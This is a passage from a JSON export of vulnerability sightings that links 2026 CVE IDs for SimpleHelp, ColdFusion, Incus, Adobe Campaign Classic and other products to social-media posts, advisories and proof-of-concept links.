"86e806f9-dfef-4378-a284-a26d9c65ffda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mpjlfxxyao24", "content": "CVE-2026-48558: SimpleHelp OIDC Flaw Added to KEV", "creation_timestamp": "2026-06-30T17:59:59.453183Z"}, {"uuid": "0d912086-305f-49d9-bc75-77ad0761be2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/iberianm.bsky.social/post/3mpjs56gbxi2p", "content": "SimpleHelp: attackers exploit CVE-2026-48558 to deploy TaskWeaver and Djinn Stealer. Patch immediately and audit OIDC authentication bypass attempts in logs. #Cybersecurity #Vulnerability #Malware\n\nSource: https://thehackernews.com/2026/06/attackers-exploit-simplehelp-cve-2026.html", "creation_timestamp": "2026-06-30T20:00:20.908818Z"}, {"uuid": "06a97bab-ef52-4264-b570-52a41e42586e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mpkc4tzr6r2r", "content": "\u653b\u6483\u8005\u306fSimpleHelp\u306e\u8106\u5f31\u6027CVE-2026-48558\u3092\u60aa\u7528\u3057\u3066TaskWeaver\u3068Djinn Stealer\u3092\u5c55\u958b\u3059\u308b \n\nAttackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer  #HackerNews (Jun 30)\n\nthehackernews.com/2026/06/atta...", "creation_timestamp": "2026-07-01T00:46:30.967578Z"}, {"uuid": "9db6adb9-5a2b-48d2-9b55-dffc21e13b39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mpkcyd3q7y2o", "content": "SimpleHelp\u306e\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3001\u5f37\u529b\u306aDjinn Stealer\u304c\u914d\u4fe1\u3055\u308c\u308b\uff08CVE-2026-48558\uff09 \n\nSimpleHelp vulnerability exploited to deliver mighty Djinn Stealer (CVE-2026-48558)  #HelpNetSecurity (Jun 30)\n\nwww.helpnetsecurity.com/2026/06/30/s...", "creation_timestamp": "2026-07-01T01:01:51.944136Z"}, {"uuid": "55417216-45b7-4932-af24-1056122103be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpkgmzkfc726", "content": "\ud83d\udccc CVE-2026-48276 - ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Unrestricted Upload of File with Dangerous Type vulnerability that could result in ... https://www.cyberhub.blog/cves/CVE-2026-48276", "creation_timestamp": "2026-07-01T02:07:07.764126Z"}, {"uuid": "d270cb48-fedc-4ebf-9fb5-d388ada09c50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48769", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mpkh3n7jjr2b", "content": "Six Incus vulnerabilities, all rated CVSS 9.9, are fixed in v7.2.0. CVE-2026-48769 and CVE-2026-48755 enable root attacks. Update now.\n\n#Incus #LinuxContainers #ContainerSecurity #CVE #Cybersecurity #Infosec", "creation_timestamp": "2026-07-01T02:15:18.004238Z"}, {"uuid": "08e7f51d-1199-4f3d-89db-ab1e4ba7d8d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48755", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mpkh3n7jjr2b", "content": "Six Incus vulnerabilities, all rated CVSS 9.9, are fixed in v7.2.0. CVE-2026-48769 and CVE-2026-48755 enable root attacks. Update now.\n\n#Incus #LinuxContainers #ContainerSecurity #CVE #Cybersecurity #Infosec", "creation_timestamp": "2026-07-01T02:15:18.051473Z"}, {"uuid": "6a39eaaa-3d5e-4e26-8613-546de9c456b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://www.cisa.gov/news-events/alerts/2026/06/29/cisa-adds-one-known-exploited-vulnerability-catalog", "content": "", "creation_timestamp": "2026-07-01T02:33:56.487873Z"}, {"uuid": "50737862-d356-4204-89e4-a38e3ae7af2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48769", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mpkhz3v4sb2v", "content": "Six Incus vulnerabilities, all rated CVSS 9.9, are fixed in v7.2.0. CVE-2026-48769 and CVE-2026-48755 enable root attacks. Update now.\n\n#Incus #LinuxContainers #ContainerSecurity #CVE #Potatosecurity #Infosec", "creation_timestamp": "2026-07-01T02:31:46.064315Z"}, {"uuid": "a41c4457-9f13-4a6b-994e-4bbcceadaf09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48755", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mpkhz3v4sb2v", "content": "Six Incus vulnerabilities, all rated CVSS 9.9, are fixed in v7.2.0. CVE-2026-48769 and CVE-2026-48755 enable root attacks. Update now.\n\n#Incus #LinuxContainers #ContainerSecurity #CVE #Potatosecurity #Infosec", "creation_timestamp": "2026-07-01T02:31:46.109687Z"}, {"uuid": "1d82f15a-db22-4e5c-b73f-be04fdf8162d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48277", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpkicnwhvr2v", "content": "\ud83d\udccc CVE-2026-48277 - ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Input Validation vulnerability that could result in arbitrary code executi... https://www.cyberhub.blog/cves/CVE-2026-48277", "creation_timestamp": "2026-07-01T02:37:06.981745Z"}, {"uuid": "7f8bb259-36eb-4f8c-9266-4c8440450c4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mpkiinuaa42m", "content": "The latest update for #ArcticWolf includes \"CVE-2026-48558: Critical Authentication Bypass Vulnerability in SimpleHelp RMM Exploited for Credential Theft and Malware Delivery\".\n\n#cybersecurity #infosec #networks https://opsmtrs.com/2ZFbaTl", "creation_timestamp": "2026-07-01T02:40:28.216909Z"}, {"uuid": "0aeb8d04-c689-44e7-b9a4-1d25ed116c84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/simplehelp-security-advisory-av26-642", "content": "", "creation_timestamp": "2026-07-01T02:37:25.666931Z"}, {"uuid": "422d3b34-1ddc-4424-861c-73d964e3db6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48448", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3msg7nm57xe2c", "content": "\ud83d\udccc CVE-2026-48448 - Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that... https://www.cyberhub.blog/cves/CVE-2026-48448", "creation_timestamp": "2026-08-06T14:07:06.646592Z"}, {"uuid": "3dc5b9dd-9ea7-43c5-825e-4c82cf18342f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48048", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3msqsi6nwdv2o", "content": "XWiki Platform (6.2.1\uff5e18.0.0RC1\u300117.10.13\u300117.4.9\u300116.10.17)\u3067\u3001LiveTableResults\u306e\u30de\u30af\u30ed\u306b\u7d30\u5de5\u3055\u308c\u305f\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u6e21\u3059\u3068\u3001\u30d1\u30b9\u30ef\u30fc\u2026\nCVE-2026-48048 CVSS 7.5 | HIGH\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-48048", "creation_timestamp": "2026-08-10T19:10:43.251537Z"}, {"uuid": "59ca5e9b-b185-4023-9e4e-474ee20e5ed9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48796", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-85jm-cwp2-mvpv", "content": "", "creation_timestamp": "2026-07-01T02:50:16.405948Z"}, {"uuid": "90cc0bf9-5c33-4a45-9bd4-babf52c439b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48159", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msqta3akdc2g", "content": "CVE-2026-48159\nBetween May 18th and 19th, malicious commits were added to a React project's default branch. These commits executed attacker-controlled code on developer machines when running 'npm install'. If you installed\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-10T19:24:04.640800Z"}, {"uuid": "498a8644-7036-4024-bca2-3e5d5e3b42eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48593", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-6xh2-93p9-vqh4", "content": "", "creation_timestamp": "2026-07-01T02:50:21.224858Z"}, {"uuid": "292ed526-c908-44f2-b006-729a2cd16cb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48286", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mtcpepjgkk25", "content": "\u300cAdobe Campaign Classic\u300d\u306b\u60aa\u7528\u30ea\u30b9\u30af\u304c\u9ad8\u3044\u8106\u5f31\u6027\n\n\u300cAdobe Campaign Classic\u300d\u306b\u60aa\u7528\u306e\u30ea\u30b9\u30af\u304c\u9ad8\u3044\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002Adobe\u3067\u306f\u65e9\u6025\u306b\u5bfe\u7b56\u3092\u8b1b\u3058\u308b\u3088\u3046\u547c\u3073\u304b\u3051\u3066\u3044\u308b\u3002\n\nAdobe\u306f\u73fe\u5730\u6642\u95936\u670830\u65e5\u3001\u30aa\u30f3\u30d7\u30ec\u30df\u30b9\u74b0\u5883\u3084\u30cf\u30a4\u30d6\u30ea\u30c3\u30c9\u69cb\u6210\u306e\u5834\u5408\u306b\u5f71\u97ff\u3092\u53d7\u3051\u308b\u8106\u5f31\u6027\u300cCVE-2026-48286\u300d\u3092\u660e\u3089\u304b\u306b\u3057\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u3002Windows\u3001Linux\u306e\u4e21\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u304c\u5f71\u97ff\u3092\u53d7\u3051\u308b\u3002\n\n\u300cCVE-2026-48286\u300d\u306f\u8a8d\u53ef\u4e0d\u5099\u306b\u8d77\u56e0\u3059\u308b\u8106\u5f31\u6027\u3067\u3001\u60aa\u7528\u3055\u308c\u308b\u3068\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002\u5171\u901a\u8106\u5f31\u6027\u8a55\u4fa1...", "creation_timestamp": "2026-08-17T22:03:03.369286Z"}, {"uuid": "59a29974-98c7-45c5-bb18-d89c82bf8483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48592", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-389x-rgxr-8m33", "content": "", "creation_timestamp": "2026-07-01T02:50:18.788719Z"}, {"uuid": "2c296f9b-24a2-45e9-8627-7c4a1db323d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48791", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-qqw8-7c2r-jxch", "content": "", "creation_timestamp": "2026-07-01T02:50:25.995467Z"}, {"uuid": "918b5885-7475-4e96-9266-d179960fd1b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48281", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpkjycun2h2g", "content": "\ud83d\udccc CVE-2026-48281 - ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Input Validation vulnerability that could result in arbitrary code executi... https://www.cyberhub.blog/cves/CVE-2026-48281", "creation_timestamp": "2026-07-01T03:07:07.363875Z"}, {"uuid": "ae37b687-cbf2-4ae0-8db3-19d8630ed2f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpklnwud3g2a", "content": "\ud83d\udccc CVE-2026-48282 - ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vuln... https://www.cyberhub.blog/cves/CVE-2026-48282", "creation_timestamp": "2026-07-01T03:37:06.544686Z"}, {"uuid": "31ace949-62f5-4323-88ac-9b2c013fa5fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mpkmqgu2222a", "content": "SimpleHelp vulnerability exploited to deliver mighty Djinn Stealer (CVE-2026-48558)\n\nAttackers are exploiting CVE-2026-48558, a recently patched authentication bypass vulnerability in SimpleHelp RMM, to drop the novel Djinn Stealer malware on victim computers. The malware is capab\u2026\n#hackernews #news", "creation_timestamp": "2026-07-01T03:56:24.855071Z"}, {"uuid": "5271b451-bc31-4a13-a0b3-3ee92164e512", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48283", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpkndl637t2x", "content": "\ud83d\udccc CVE-2026-48283 - ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Unrestricted Upload of File with Dangerous Type vulnerability that could result in ... https://www.cyberhub.blog/cves/CVE-2026-48283", "creation_timestamp": "2026-07-01T04:07:06.339759Z"}, {"uuid": "100c6ced-bdba-4c56-a52f-f82edaf00df4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mpkq74xvus2a", "content": "Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer\n\nAn unknown threat actor has been observed exploiting a recently disclosed maximum-severity security flaw in SimpleHelp to deliver two previously unreported malware families, TaskWeaver and Djinn St\u2026\n#hackernews #news", "creation_timestamp": "2026-07-01T04:58:18.753815Z"}, {"uuid": "f3c84f5c-2667-4017-8117-68fa340fa3d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48276", "type": "seen", "source": "https://www.cert.dk/news/2026-07-01/Kritiske-ColdFusion-saarbarheder-aabner-for-fuld-serverovertagelse", "content": "", "creation_timestamp": "2026-07-01T09:45:03.016416Z"}, {"uuid": "4072a39e-76fc-4719-a9b7-c51d5b373fb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48283", "type": "seen", "source": "https://www.cert.dk/news/2026-07-01/Kritiske-ColdFusion-saarbarheder-aabner-for-fuld-serverovertagelse", "content": "", "creation_timestamp": "2026-07-01T09:45:05.189490Z"}, {"uuid": "d747ad87-35a1-4edc-9c1a-9cae7ca72eaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48277", "type": "seen", "source": "https://www.cert.dk/news/2026-07-01/Kritiske-ColdFusion-saarbarheder-aabner-for-fuld-serverovertagelse", "content": "", "creation_timestamp": "2026-07-01T09:45:07.386843Z"}, {"uuid": "fab996c0-2ea4-42e5-998b-9032bd932e7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48281", "type": "seen", "source": "https://www.cert.dk/news/2026-07-01/Kritiske-ColdFusion-saarbarheder-aabner-for-fuld-serverovertagelse", "content": "", "creation_timestamp": "2026-07-01T09:45:09.540865Z"}, {"uuid": "4fcbaf55-23cf-4202-8a88-cf2fa7c80046", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48316", "type": "seen", "source": "https://www.cert.dk/news/2026-07-01/Kritiske-ColdFusion-saarbarheder-aabner-for-fuld-serverovertagelse", "content": "", "creation_timestamp": "2026-07-01T09:45:11.706863Z"}, {"uuid": "0446caa8-413c-4caa-b89e-52a99b12ee10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://www.cert.dk/news/2026-07-01/Kritiske-ColdFusion-saarbarheder-aabner-for-fuld-serverovertagelse", "content": "", "creation_timestamp": "2026-07-01T09:45:14.503512Z"}, {"uuid": "c17d99a8-e23e-4911-9ed7-9e08f0a2b56e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48313", "type": "seen", "source": "https://www.cert.dk/news/2026-07-01/Kritiske-ColdFusion-saarbarheder-aabner-for-fuld-serverovertagelse", "content": "", "creation_timestamp": "2026-07-01T09:45:16.870029Z"}, {"uuid": "ebdde5c2-46db-4327-8c97-24c453b3c265", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48315", "type": "seen", "source": "https://www.cert.dk/news/2026-07-01/Kritiske-ColdFusion-saarbarheder-aabner-for-fuld-serverovertagelse", "content": "", "creation_timestamp": "2026-07-01T09:45:19.052087Z"}, {"uuid": "74d1e459-7845-4deb-8fb5-a453f6d5d14b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48285", "type": "seen", "source": "https://www.cert.dk/news/2026-07-01/Kritiske-ColdFusion-saarbarheder-aabner-for-fuld-serverovertagelse", "content": "", "creation_timestamp": "2026-07-01T09:45:21.206851Z"}, {"uuid": "0d26dc1c-fac1-490f-bbc1-54b30e24dc2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48307", "type": "seen", "source": "https://www.cert.dk/news/2026-07-01/Kritiske-ColdFusion-saarbarheder-aabner-for-fuld-serverovertagelse", "content": "", "creation_timestamp": "2026-07-01T09:45:23.366909Z"}, {"uuid": "a76034bb-95e8-493a-bf37-6c4e10eb28fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "https://bsky.app/profile/vulny-app.bsky.social/post/3msgexdjqzx2s", "content": "A critical-severity fix just shipped for Nx Console. If your stack uses it, patch to the fixed release soon. Quietly closes the gap before anyone goes looking. CVE-2026-48027", "creation_timestamp": "2026-08-06T15:42:01.632840Z"}, {"uuid": "81b51138-ef91-4c79-9e1e-687facecdfb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mpldjd7xvp2a", "content": "Your remote management tool just became the attacker's delivery system.\n\nSimpleHelp CVE-2026-48558.\n\nhttps://www.yazoul.net/news/article/attackers-exploit-simplehelp-cve-2026-48558-to-deploy-taskweaver-and-djinn-steal/\n\n#CyberSecurity #PatchNow", "creation_timestamp": "2026-07-01T10:44:01.924208Z"}, {"uuid": "3ddd6428-0735-4058-8c96-5d3bc0d03cd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.com/post/3mpldnztyi22s", "content": "\ud83d\udea8 #Alerta Cr\u00edtica: #Parchea ya el CVE-2026-48558 en servidores #SimpleHelp (+MITIGACI\u00d2N) \n\n Vulnerabilidad cr\u00edtica en SimpleHelp permite acceso total a servidores. Gu\u00eda t\u00e9cnica de remediaci\u00f3n y mitigaci\u00f3n.\nwww.newstecnicas.com/2026/07/aler...", "creation_timestamp": "2026-07-01T10:46:46.952240Z"}, {"uuid": "0adc0afe-02bd-4f6f-a8eb-17495eb0b068", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48286", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mplgwhlm3fm2", "content": "Adobe Patches Critical ColdFusion, Campaign Classic Vulnerabilities Seven of the security defects have a maximum severity rating of 10/10 and could lead to arbitrary code execution. The post Adobe ...\n\n#Vulnerabilities #Adobe #CVE-2026-48286\n\nOrigin | Interest | Match", "creation_timestamp": "2026-07-01T11:45:07.015044Z"}, {"uuid": "e16d309e-45b8-43ed-9e0d-55d58c337e14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48286", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116844608391888622", "content": "CRITICAL vulnerabilities patched in Adobe ColdFusion (2025/2023) & Campaign Classic (7.4.3 build 9397). Multiple CVSS 10.0 flaws incl. CVE-2026-48286, CVE-2026-48276 \u2013 83. No active exploits, but patch ASAP. https://radar.offseq.com/threat/adobe-patches-critical-coldfusion-campaign-classic-baee08e7ac9d8888 #OffSeq #Adobe #ColdFusion #Vuln", "creation_timestamp": "2026-07-01T12:00:35.285241Z"}, {"uuid": "bf6717eb-6d8a-4bf5-82d0-6af032c81470", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116844608391888622", "content": "CRITICAL vulnerabilities patched in Adobe ColdFusion (2025/2023) & Campaign Classic (7.4.3 build 9397). Multiple CVSS 10.0 flaws incl. CVE-2026-48286, CVE-2026-48276 \u2013 83. No active exploits, but patch ASAP. https://radar.offseq.com/threat/adobe-patches-critical-coldfusion-campaign-classic-baee08e7ac9d8888 #OffSeq #Adobe #ColdFusion #Vuln", "creation_timestamp": "2026-07-01T12:00:35.329807Z"}, {"uuid": "5fb1db67-414e-4886-8610-46590a5f23bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpll4ubpnt2q", "content": "\ud83d\udd17 CVE : CVE-2026-48276, CVE-2026-48277, CVE-2026-48281, CVE-2026-48282, CVE-2026-48283, CVE-2026-48285, CVE-2026-48307, CVE-2026-48313, CVE-2026-48314, CVE-2026-48315, CVE-2026-48316", "creation_timestamp": "2026-07-01T13:00:13.031404Z"}, {"uuid": "59867b2f-d3a1-4146-a907-43c5541a8f42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48277", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpll4ubpnt2q", "content": "\ud83d\udd17 CVE : CVE-2026-48276, CVE-2026-48277, CVE-2026-48281, CVE-2026-48282, CVE-2026-48283, CVE-2026-48285, CVE-2026-48307, CVE-2026-48313, CVE-2026-48314, CVE-2026-48315, CVE-2026-48316", "creation_timestamp": "2026-07-01T13:00:13.085007Z"}, {"uuid": "52ea4a32-fe47-4d12-a463-4a65acfae679", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48281", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpll4ubpnt2q", "content": "\ud83d\udd17 CVE : CVE-2026-48276, CVE-2026-48277, CVE-2026-48281, CVE-2026-48282, CVE-2026-48283, CVE-2026-48285, CVE-2026-48307, CVE-2026-48313, CVE-2026-48314, CVE-2026-48315, CVE-2026-48316", "creation_timestamp": "2026-07-01T13:00:13.126962Z"}, {"uuid": "99d5370e-d8a6-4a08-8eb1-1c353b20b181", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpll4ubpnt2q", "content": "\ud83d\udd17 CVE : CVE-2026-48276, CVE-2026-48277, CVE-2026-48281, CVE-2026-48282, CVE-2026-48283, CVE-2026-48285, CVE-2026-48307, CVE-2026-48313, CVE-2026-48314, CVE-2026-48315, CVE-2026-48316", "creation_timestamp": "2026-07-01T13:00:13.164693Z"}, {"uuid": "be73595e-94f8-4bbe-8ed7-b18fa192886f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48283", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpll4ubpnt2q", "content": "\ud83d\udd17 CVE : CVE-2026-48276, CVE-2026-48277, CVE-2026-48281, CVE-2026-48282, CVE-2026-48283, CVE-2026-48285, CVE-2026-48307, CVE-2026-48313, CVE-2026-48314, CVE-2026-48315, CVE-2026-48316", "creation_timestamp": "2026-07-01T13:00:13.202134Z"}, {"uuid": "71c4f17c-aa4d-49b8-aca7-cf852935de56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48285", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpll4ubpnt2q", "content": "\ud83d\udd17 CVE : CVE-2026-48276, CVE-2026-48277, CVE-2026-48281, CVE-2026-48282, CVE-2026-48283, CVE-2026-48285, CVE-2026-48307, CVE-2026-48313, CVE-2026-48314, CVE-2026-48315, CVE-2026-48316", "creation_timestamp": "2026-07-01T13:00:13.237503Z"}, {"uuid": 